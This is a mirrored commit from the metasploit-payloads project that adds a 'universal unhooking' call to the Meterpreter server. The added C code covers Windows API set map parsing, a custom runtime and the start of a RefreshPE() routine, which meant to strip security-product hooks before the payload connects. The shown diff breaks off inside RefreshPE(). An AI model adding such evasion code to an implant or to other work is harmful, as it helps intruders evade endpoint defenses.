1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-26 17:41:08 +01:00

Add universal unhooking call to meterpreter server

metsrv will unhook its current process before initializing the
connection
This commit is contained in:
Jeff Tang 2017-02-27 17:11:18 -05:00
parent d11979b09d
commit e97b8449c2
11 changed files with 1783 additions and 2 deletions

View File

@ -13,6 +13,9 @@
#ifdef _WIN32
DWORD __declspec(dllexport) Init(SOCKET fd)
{
// Unhook the process before setting up the socket
RefreshPE();
// In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually
// a pointer to the metserv configuration, so do a nasty cast and move on.
MetsrvConfig* metConfig = (MetsrvConfig*)fd;

View File

@ -28,6 +28,7 @@
#include "../ReflectiveDLLInjection/inject/src/GetProcAddressR.h"
#include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h"
#include "../universal_unhooking/universal_unhooking.h"
#endif
DWORD server_setup(MetsrvConfig* config);

View File

@ -0,0 +1,222 @@
/*************************************************************************************
* Author: Jeff Tang <jtang@cylance.com>
* Copyright (c) 2017 Cylance Inc. All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or without modification, *
* are permitted provided that the following conditions are met: *
* *
* 1. Redistributions of source code must retain the above copyright notice, this *
* list of conditions and the following disclaimer. *
* *
* 2. Redistributions in binary form must reproduce the above copyright notice, *
* this list of conditions and the following disclaimer in the documentation and/or *
* other materials provided with the distribution. *
* *
* 3. Neither the name of the copyright holder nor the names of its contributors *
* may be used to endorse or promote products derived from this software without *
* specific prior written permission. *
* *
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND *
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED *
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE *
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR *
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES *
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; *
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON *
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS *
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
* *
*************************************************************************************/
#include "apisetmap.h"
_PPEB GetProcessEnvironmentBlock()
{
ULONG_PTR pPeb;
#ifdef _WIN64
pPeb = __readgsqword(0x60);
#else
pPeb = __readfsdword(0x30);
#endif
return (_PPEB)pPeb;
}
PLDR_DATA_TABLE_ENTRY GetInMemoryOrderModuleList()
{
return (PLDR_DATA_TABLE_ENTRY)GetProcessEnvironmentBlock()->pLdr->InMemoryOrderModuleList.Flink;
}
PCHAR GetRedirectedName(PCHAR szOriginalModule, PCHAR szRedirectedModule)
{
PAPI_SET_NAMESPACE_ARRAY_V2 pApiSetMap;
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V2)GetProcessEnvironmentBlock()->pFreeList;
if (pApiSetMap->Version == 6)
return GetRedirectedName_V6(szOriginalModule, szRedirectedModule);
else if (pApiSetMap->Version == 4)
return GetRedirectedName_V4(szOriginalModule, szRedirectedModule);
else if (pApiSetMap->Version == 2)
return GetRedirectedName_V2(szOriginalModule, szRedirectedModule);
else
return NULL;
}
PCHAR GetRedirectedName_V6(PCHAR szOriginalModule, PCHAR szRedirectedModule)
{
PAPI_SET_NAMESPACE_ARRAY_V6 pApiSetMap;
PAPI_SET_NAMESPACE_ENTRY_V6 pApiEntry;
PAPI_SET_VALUE_ENTRY_V6 pApiValue;
DWORD dwEntryCount;
DWORD dwSetCount;
PCHAR szEntry;
PCHAR szName;
PCHAR szValue;
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V6)GetProcessEnvironmentBlock()->pFreeList;
// Loop through each entry in the ApiSetMap to find the matching redirected module entry
for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++)
{
pApiEntry = &pApiSetMap->Array[dwEntryCount];
szEntry = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset), pApiEntry->NameLength / 2);
// Skip this entry if it does not match
if (strnicmp_(szEntry, szRedirectedModule, pApiEntry->NameLength / 2))
{
free_(szEntry);
continue;
}
free_(szEntry);
// Loop through each value entry and find where name == original module
for (dwSetCount = pApiEntry->Count - 1; dwSetCount >= 0; dwSetCount--)
{
pApiValue = (PAPI_SET_VALUE_ENTRY_V6)((PCHAR)pApiSetMap + pApiEntry->DataOffset + (dwSetCount * sizeof(API_SET_VALUE_ENTRY_V6)));
szName = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset), pApiValue->NameLength / 2);
szValue = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset), pApiValue->ValueLength / 2);
if (pApiValue->NameLength == 0 || stricmp_(szName, szOriginalModule) == 0)
{
OUTPUTDBGA("\t\t\t[*] Found a matching entry: ");
OUTPUTDBGA(szValue);
OUTPUTDBGA("\n");
free_(szName);
return szValue;
}
free_(szName);
free_(szValue);
}
}
return NULL;
}
PCHAR GetRedirectedName_V4(PCHAR szOriginalModule, PCHAR szRedirectedModule)
{
PAPI_SET_NAMESPACE_ARRAY_V4 pApiSetMap;
PAPI_SET_NAMESPACE_ENTRY_V4 pApiEntry;
PAPI_SET_VALUE_ARRAY_V4 pApiArray;
PAPI_SET_VALUE_ENTRY_V4 pApiValue;
DWORD dwEntryCount;
DWORD dwSetCount;
PCHAR szEntry;
PCHAR szName;
PCHAR szValue;
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V4)GetProcessEnvironmentBlock()->pFreeList;
for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++)
{
pApiEntry = &pApiSetMap->Array[dwEntryCount];
szEntry = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset), pApiEntry->NameLength / 2);
// Skip this entry if it does not match
if (strnicmp_(szEntry, szRedirectedModule + 4, pApiEntry->NameLength / 2))
{
free_(szEntry);
continue;
}
free_(szEntry);
pApiArray = (PAPI_SET_VALUE_ARRAY_V4)((PCHAR)pApiSetMap + pApiEntry->DataOffset);
for (dwSetCount = pApiArray->Count-1; dwSetCount >= 0; dwSetCount--)
{
pApiValue = &pApiArray->Array[dwSetCount];
szName = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset), pApiValue->NameLength / 2);
szValue = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset), pApiValue->ValueLength / 2);
if (pApiValue->NameLength == 0 || stricmp_(szName, szOriginalModule) == 0)
{
OUTPUTDBGA("\t\t\t[*] Found a matching entry: ");
OUTPUTDBGA(szName);
OUTPUTDBGA("\n");
free_(szName);
return szValue;
}
free_(szName);
free_(szValue);
}
}
return NULL;
}
PCHAR GetRedirectedName_V2(PCHAR szOriginalModule, PCHAR szRedirectedModule)
{
PAPI_SET_NAMESPACE_ARRAY_V2 pApiSetMap;
PAPI_SET_NAMESPACE_ENTRY_V2 pApiEntry;
PAPI_SET_VALUE_ARRAY_V2 pApiArray;
PAPI_SET_VALUE_ENTRY_V2 pApiValue;
DWORD dwEntryCount;
DWORD dwSetCount;
PCHAR szEntry;
PCHAR szName;
PCHAR szValue;
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V2)GetProcessEnvironmentBlock()->pFreeList;
for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++)
{
pApiEntry = &pApiSetMap->Array[dwEntryCount];
szEntry = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset), pApiEntry->NameLength / 2);
// Skip this entry if it does not match
if (strnicmp_(szEntry, szRedirectedModule+4, pApiEntry->NameLength / 2))
{
free_(szEntry);
continue;
}
free_(szEntry);
pApiArray = (PAPI_SET_VALUE_ARRAY_V2)((PCHAR)pApiSetMap + pApiEntry->DataOffset);
for (dwSetCount = pApiArray->Count-1; dwSetCount >= 0; dwSetCount--)
{
pApiValue = &pApiArray->Array[dwSetCount];
szName = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset), pApiValue->NameLength / 2);
szValue = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset), pApiValue->ValueLength / 2);
if (pApiValue->NameLength == 0 || stricmp_(szName, szOriginalModule) == 0)
{
OUTPUTDBGA("\t\t\t[*] Found a matching entry: ");
OUTPUTDBGA(szName);
OUTPUTDBGA("\n");
free_(szName);
return szValue;
}
free_(szName);
free_(szValue);
}
}
return NULL;
}

View File

@ -0,0 +1,151 @@
/*************************************************************************************
* Author: Jeff Tang <jtang@cylance.com>
* Copyright (c) 2017 Cylance Inc. All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or without modification, *
* are permitted provided that the following conditions are met: *
* *
* 1. Redistributions of source code must retain the above copyright notice, this *
* list of conditions and the following disclaimer. *
* *
* 2. Redistributions in binary form must reproduce the above copyright notice, *
* this list of conditions and the following disclaimer in the documentation and/or *
* other materials provided with the distribution. *
* *
* 3. Neither the name of the copyright holder nor the names of its contributors *
* may be used to endorse or promote products derived from this software without *
* specific prior written permission. *
* *
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND *
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED *
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE *
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR *
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES *
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; *
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON *
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS *
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
* *
*************************************************************************************/
#pragma once
#ifndef _APISETMAP_H_
#define _APISETMAP_H_
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include "imports.h"
#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h"
// Win 10
typedef struct _API_SET_VALUE_ENTRY_V6
{
ULONG Flags;
ULONG NameOffset;
ULONG NameLength;
ULONG ValueOffset;
ULONG ValueLength;
} API_SET_VALUE_ENTRY_V6, *PAPI_SET_VALUE_ENTRY_V6;
typedef struct _API_SET_NAMESPACE_HASH_ENTRY_V6
{
ULONG Hash;
ULONG Index;
} API_SET_NAMESPACE_HASH_ENTRY_V6, *PAPI_SET_NAMESPACE_HASH_ENTRY_V6;
typedef struct _API_SET_NAMESPACE_ENTRY_V6
{
ULONG Flags;
ULONG NameOffset;
ULONG Size;
ULONG NameLength;
ULONG DataOffset;
ULONG Count;
} API_SET_NAMESPACE_ENTRY_V6, *PAPI_SET_NAMESPACE_ENTRY_V6;
typedef struct _API_SET_NAMESPACE_ARRAY_V6
{
ULONG Version;
ULONG Size;
ULONG Flags;
ULONG Count;
ULONG DataOffset;
ULONG HashOffset;
ULONG Multiplier;
API_SET_NAMESPACE_ENTRY_V6 Array[ANYSIZE_ARRAY];
} API_SET_NAMESPACE_ARRAY_V6, *PAPI_SET_NAMESPACE_ARRAY_V6;
// Windows 8.1
typedef struct _API_SET_VALUE_ENTRY_V4
{
ULONG Flags;
ULONG NameOffset;
ULONG NameLength;
ULONG ValueOffset;
ULONG ValueLength;
} API_SET_VALUE_ENTRY_V4, *PAPI_SET_VALUE_ENTRY_V4;
typedef struct _API_SET_VALUE_ARRAY_V4
{
ULONG Flags;
ULONG Count;
API_SET_VALUE_ENTRY_V4 Array[ANYSIZE_ARRAY];
} API_SET_VALUE_ARRAY_V4, *PAPI_SET_VALUE_ARRAY_V4;
typedef struct _API_SET_NAMESPACE_ENTRY_V4
{
ULONG Flags;
ULONG NameOffset;
ULONG NameLength;
ULONG AliasOffset;
ULONG AliasLength;
ULONG DataOffset;
} API_SET_NAMESPACE_ENTRY_V4, *PAPI_SET_NAMESPACE_ENTRY_V4;
typedef struct _API_SET_NAMESPACE_ARRAY_V4
{
ULONG Version;
ULONG Size;
ULONG Flags;
ULONG Count;
API_SET_NAMESPACE_ENTRY_V4 Array[ANYSIZE_ARRAY];
} API_SET_NAMESPACE_ARRAY_V4, *PAPI_SET_NAMESPACE_ARRAY_V4;
// Windows 7/8
typedef struct _API_SET_VALUE_ENTRY_V2
{
ULONG NameOffset;
ULONG NameLength;
ULONG ValueOffset;
ULONG ValueLength;
} API_SET_VALUE_ENTRY_V2, *PAPI_SET_VALUE_ENTRY_V2;
typedef struct _API_SET_VALUE_ARRAY_V2
{
ULONG Count;
API_SET_VALUE_ENTRY_V2 Array[ANYSIZE_ARRAY];
} API_SET_VALUE_ARRAY_V2, *PAPI_SET_VALUE_ARRAY_V2;
typedef struct _API_SET_NAMESPACE_ENTRY_V2
{
ULONG NameOffset;
ULONG NameLength;
ULONG DataOffset;
} API_SET_NAMESPACE_ENTRY_V2, *PAPI_SET_NAMESPACE_ENTRY_V2;
typedef struct _API_SET_NAMESPACE_ARRAY_V2
{
ULONG Version;
ULONG Count;
API_SET_NAMESPACE_ENTRY_V2 Array[ANYSIZE_ARRAY];
} API_SET_NAMESPACE_ARRAY_V2, *PAPI_SET_NAMESPACE_ARRAY_V2;
_PPEB GetProcessEnvironmentBlock();
PLDR_DATA_TABLE_ENTRY GetInMemoryOrderModuleList();
PCHAR GetRedirectedName(PCHAR szOriginalModule, PCHAR szRedirectedModule);
PCHAR GetRedirectedName_V6(PCHAR szOriginalModule, PCHAR szRedirectedModule);
PCHAR GetRedirectedName_V4(PCHAR szOriginalModule, PCHAR szRedirectedModule);
PCHAR GetRedirectedName_V2(PCHAR szOriginalModule, PCHAR szRedirectedModule);
#endif // _APISETMAP_H_

View File

@ -0,0 +1,248 @@
/*************************************************************************************
* Author: Jeff Tang <jtang@cylance.com>
* Copyright (c) 2017 Cylance Inc. All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or without modification, *
* are permitted provided that the following conditions are met: *
* *
* 1. Redistributions of source code must retain the above copyright notice, this *
* list of conditions and the following disclaimer. *
* *
* 2. Redistributions in binary form must reproduce the above copyright notice, *
* this list of conditions and the following disclaimer in the documentation and/or *
* other materials provided with the distribution. *
* *
* 3. Neither the name of the copyright holder nor the names of its contributors *
* may be used to endorse or promote products derived from this software without *
* specific prior written permission. *
* *
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND *
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED *
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE *
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR *
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES *
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; *
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON *
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS *
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
* *
*************************************************************************************/
#include "imports.h"
HANDLE hCustomHeap = NULL;
VOID ResolveImports()
{
hKernel32 = LoadLibraryA("kernel32.dll");
CloseHandle_ = (CLOSEHANDLE)GetProcAddress(hKernel32, "CloseHandle");
CreateFileA_ = (CREATEFILEA)GetProcAddress(hKernel32, "CreateFileA");
CreateFileW_ = (CREATEFILEW)GetProcAddress(hKernel32, "CreateFileW");
CreateFileMappingW_ = (CREATEFILEMAPPINGW)GetProcAddress(hKernel32, "CreateFileMappingW");
MapViewOfFile_ = (MAPVIEWOFFILE)GetProcAddress(hKernel32, "MapViewOfFile");
UnmapViewOfFile_ = (UNMAPVIEWOFFILE)GetProcAddress(hKernel32, "UnmapViewOfFile");
VirtualAlloc_ = (VIRTUALALLOC)GetProcAddress(hKernel32, "VirtualAlloc");
VirtualFree_ = (VIRTUALFREE)GetProcAddress(hKernel32, "VirtualFree");
VirtualProtect_ = (VIRTUALPROTECT)GetProcAddress(hKernel32, "VirtualProtect");
HeapCreate_ = (HEAPCREATE)GetProcAddress(hKernel32, "HeapCreate");
#ifdef _DEBUG
OutputDebugStringA_ = (OUTPUTDEBUGSTRINGA)GetProcAddress(hKernel32, "OutputDebugStringA");
OutputDebugStringW_ = (OUTPUTDEBUGSTRINGW)GetProcAddress(hKernel32, "OutputDebugStringW");
#endif
hNtdll = LoadLibraryA("ntdll.dll");
HeapAlloc_ = (HEAPALLOC)GetProcAddress(hNtdll, "RtlAllocateHeap");
HeapFree_ = (HEAPFREE)GetProcAddress(hNtdll, "RtlFreeHeap");
}
VOID FreeImports()
{
OUTPUTDBGA("[*] Freeing library imports\n");
FreeLibrary(hNtdll);
FreeLibrary(hKernel32);
}
void* malloc_(size_t stSize)
{
void* pBuffer;
if (hCustomHeap == NULL)
hCustomHeap = HeapCreate_(0, 0, 0);
pBuffer = HeapAlloc_(hCustomHeap, HEAP_ZERO_MEMORY, stSize);
return pBuffer;
}
void free_(void* pBlock)
{
HeapFree_(hCustomHeap, 0, pBlock);
}
size_t strlen_(const char* str)
{
char* curPtr;
for (curPtr = (char *)str; *curPtr != 0; curPtr++);
return curPtr - str;
}
int strcmp_(const char* str1, const char* str2)
{
const char *szP0;
const char *szP1;
for (szP0 = str1, szP1 = str2; *szP0 != 0 && *szP1 != 0 && *szP0 == *szP1; szP0++, szP1++);
return *szP0 - *szP1;
}
int stricmp_(const char* str1, const char* str2)
{
const char *szP0;
const char *szP1;
char char0;
char char1;
for (szP0 = str1, szP1 = str2; *szP0 != 0 && *szP1 != 0; szP0++, szP1++)
{
char0 = *szP0;
char1 = *szP1;
if (0x61 <= char0 && char0 <= 0x7A)
char0 -= 0x20;
if (0x61 <= char1 && char1 <= 0x7A)
char1 -= 0x20;
if (char0 != char1)
break;
}
char0 = *szP0;
char1 = *szP1;
if (0x61 <= char0 && char0 <= 0x7A)
char0 -= 0x20;
if (0x61 <= char1 && char1 <= 0x7A)
char1 -= 0x20;
return char0 - char1;
}
int strnicmp_(const char* str1, const char* str2, size_t length)
{
const char *szP0;
const char *szP1;
char char0;
char char1;
size_t count;
for (szP0 = str1, szP1 = str2, count = 0; *szP0 != 0 && *szP1 != 0 && count < length - 1; szP0++, szP1++,count++)
{
char0 = *szP0;
char1 = *szP1;
if (0x61 <= char0 && char0 <= 0x7A)
char0 -= 0x20;
if (0x61 <= char1 && char1 <= 0x7A)
char1 -= 0x20;
if (char0 != char1)
break;
}
char0 = *szP0;
char1 = *szP1;
if (0x61 <= char0 && char0 <= 0x7A)
char0 -= 0x20;
if (0x61 <= char1 && char1 <= 0x7A)
char1 -= 0x20;
return char0 - char1;
}
int wcslen_(wchar_t *wszString)
{
wchar_t* wcsPtr;
for (wcsPtr = wszString; *wcsPtr != 0; wcsPtr++);
return (int)(wcsPtr - wszString);
}
char* wcstocs_(PWSTR wszStr, size_t stLength)
{
char* szRet;
size_t stIdx;
szRet = (PCHAR)malloc_(stLength + 1);
for (stIdx = 0; stIdx < stLength; stIdx++)
{
szRet[stIdx] = (char)wszStr[stIdx];
}
szRet[stLength] = 0;
return szRet;
}
void* memcpy_(void *dest, const void *src, size_t n)
{
char *dp = dest;
const char *sp = src;
while (n--)
*dp++ = *sp++;
return dest;
}
int memcmp_(const void* s1, const void* s2,size_t n)
{
const unsigned char *p1 = s1, *p2 = s2;
while(n--)
if( *p1 != *p2 )
return *p1 - *p2;
else
p1++,p2++;
return 0;
}
void ParseFwdDesc(const PCHAR szFwdDesc, PCHAR* pszModule, PCHAR* pszFunc)
{
char *szModName;
char *szFuncName;
char *pcSep;
char *pcCur;
size_t stModLen;
size_t stFuncLen;
pcSep = NULL;
*pszModule = NULL;
*pszFunc = NULL;
for (pcCur = szFwdDesc; *pcCur != 0; pcCur++)
{
if (*pcCur == '.')
{
pcSep = pcCur;
break;
}
}
if (pcSep)
{
stModLen = (pcSep - szFwdDesc);
szModName = (char *)malloc_(stModLen + 4 + 1);
memcpy_(szModName, szFwdDesc, stModLen);
memcpy_(szModName + stModLen, ".dll", 5);
stFuncLen = strlen_(szFwdDesc) - (stModLen);
szFuncName = (char *)malloc_(stFuncLen + 1);
memcpy_(szFuncName, pcSep + 1, stFuncLen);
szFuncName[stFuncLen] = 0;
*pszModule = szModName;
*pszFunc = szFuncName;
}
}

View File

@ -0,0 +1,100 @@
/*************************************************************************************
* Author: Jeff Tang <jtang@cylance.com>
* Copyright (c) 2017 Cylance Inc. All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or without modification, *
* are permitted provided that the following conditions are met: *
* *
* 1. Redistributions of source code must retain the above copyright notice, this *
* list of conditions and the following disclaimer. *
* *
* 2. Redistributions in binary form must reproduce the above copyright notice, *
* this list of conditions and the following disclaimer in the documentation and/or *
* other materials provided with the distribution. *
* *
* 3. Neither the name of the copyright holder nor the names of its contributors *
* may be used to endorse or promote products derived from this software without *
* specific prior written permission. *
* *
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND *
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED *
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE *
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR *
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES *
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; *
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON *
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS *
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
* *
*************************************************************************************/
#pragma once
#ifndef _IMPORTS_H_
#define _IMPORTS_H_
#pragma intrinsic ( memcpy, memcmp, memset )
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifdef _DEBUG
#define OUTPUTDBGA(str) OutputDebugStringA_(str);
#define OUTPUTDBGW(str) OutputDebugStringW_(str);
#else
#define OUTPUTDBGA(str)
#define OUTPUTDBGW(str)
#endif
// kernel32.dll
typedef BOOL (WINAPI * CLOSEHANDLE)(HANDLE hObject);
typedef HANDLE (WINAPI * CREATEFILEA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
typedef HANDLE (WINAPI * CREATEFILEW)(LPWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
typedef HANDLE (WINAPI * CREATEFILEMAPPINGW)(_In_ HANDLE hFile, _In_opt_ LPSECURITY_ATTRIBUTES lpFileMappingAttributes, _In_ DWORD flProtect, _In_ DWORD dwMaximumSizeHigh, _In_ DWORD dwMaximumSizeLow, _In_opt_ LPCWSTR lpName);
typedef LPVOID (WINAPI * MAPVIEWOFFILE)(_In_ HANDLE hFileMappingObject, _In_ DWORD dwDesiredAccess, _In_ DWORD dwFileOffsetHigh, _In_ DWORD dwFileOffsetLow, _In_ SIZE_T dwNumberOfBytesToMap);
typedef BOOL (WINAPI * UNMAPVIEWOFFILE)(_In_ LPCVOID lpBaseAddress);
typedef LPVOID (WINAPI * VIRTUALALLOC)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
typedef BOOL (WINAPI * VIRTUALFREE)(_In_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD dwFreeType);
typedef BOOL (WINAPI * VIRTUALPROTECT)(_In_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flNewProtect, _Out_ PDWORD lpflOldProtect);
typedef HANDLE(WINAPI * HEAPCREATE)(_In_ DWORD flOptions, _In_ SIZE_T dwInitialSize, _In_ SIZE_T dwMaximumSize);
typedef VOID (WINAPI * OUTPUTDEBUGSTRINGA)(_In_opt_ LPCSTR lpOutputString);
typedef VOID (WINAPI * OUTPUTDEBUGSTRINGW)(_In_opt_ LPWSTR lpOutputString);
HMODULE hKernel32;
CLOSEHANDLE CloseHandle_;
CREATEFILEA CreateFileA_;
CREATEFILEW CreateFileW_;
CREATEFILEMAPPINGW CreateFileMappingW_;
MAPVIEWOFFILE MapViewOfFile_;
UNMAPVIEWOFFILE UnmapViewOfFile_;
VIRTUALALLOC VirtualAlloc_;
VIRTUALFREE VirtualFree_;
VIRTUALPROTECT VirtualProtect_;
HEAPCREATE HeapCreate_;
#ifdef _DEBUG
OUTPUTDEBUGSTRINGA OutputDebugStringA_;
OUTPUTDEBUGSTRINGW OutputDebugStringW_;
#endif
// ntdll.dll
typedef LPVOID (WINAPI * HEAPALLOC)(_In_ HANDLE hHeap, _In_ DWORD dwFlags, _In_ SIZE_T dwBytes);
typedef BOOL (WINAPI * HEAPFREE)(_In_ HANDLE hHeap, _In_ DWORD dwFlags, _In_ LPVOID lpMem);
HMODULE hNtdll;
HEAPALLOC HeapAlloc_;
HEAPFREE HeapFree_;
// implemented crt
void* malloc_(size_t stSize);
void free_(void* pBlock);
int strcmp_(const char* str1, const char* str2);
int stricmp_(const char* str1, const char* str2);
int strnicmp_(const char* str1, const char* str2, size_t length);
size_t strlen_(const char * str);
int wcslen_(wchar_t *wszString);
char* wcstocs_(PWSTR wszStr, size_t stLength);
void* memcpy_(void *dest, const void *src, size_t n);
int memcmp_(const void* s1, const void* s2, size_t n);
VOID ResolveImports();
VOID FreeImports();
void ParseFwdDesc(const PCHAR szFwdDesc, PCHAR* pszModule, PCHAR* pszFunc);
#endif // _IMPORTS_H_

View File

@ -0,0 +1,529 @@
/*************************************************************************************
* Author: Jeff Tang <jtang@cylance.com>
* Copyright (c) 2017 Cylance Inc. All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or without modification, *
* are permitted provided that the following conditions are met: *
* *
* 1. Redistributions of source code must retain the above copyright notice, this *
* list of conditions and the following disclaimer. *
* *
* 2. Redistributions in binary form must reproduce the above copyright notice, *
* this list of conditions and the following disclaimer in the documentation and/or *
* other materials provided with the distribution. *
* *
* 3. Neither the name of the copyright holder nor the names of its contributors *
* may be used to endorse or promote products derived from this software without *
* specific prior written permission. *
* *
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND *
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED *
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE *
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR *
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES *
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; *
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON *
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS *
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
* *
*************************************************************************************/
#include "universal_unhooking.h"
void RefreshPE()
{
HMODULE hModule;
PWCHAR wszFullDllName;
PWCHAR wszBaseDllName;
ULONG_PTR pDllBase;
PLDR_DATA_TABLE_ENTRY pLdteHead = NULL;
PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL;
ResolveImports();
OUTPUTDBGA("[*] Running DLLRefresher\n");
pLdteHead = GetInMemoryOrderModuleList();
pLdteCurrent = pLdteHead;
do {
if (pLdteCurrent->FullDllName.Length > 2)
{
wszFullDllName = pLdteCurrent->FullDllName.pBuffer;
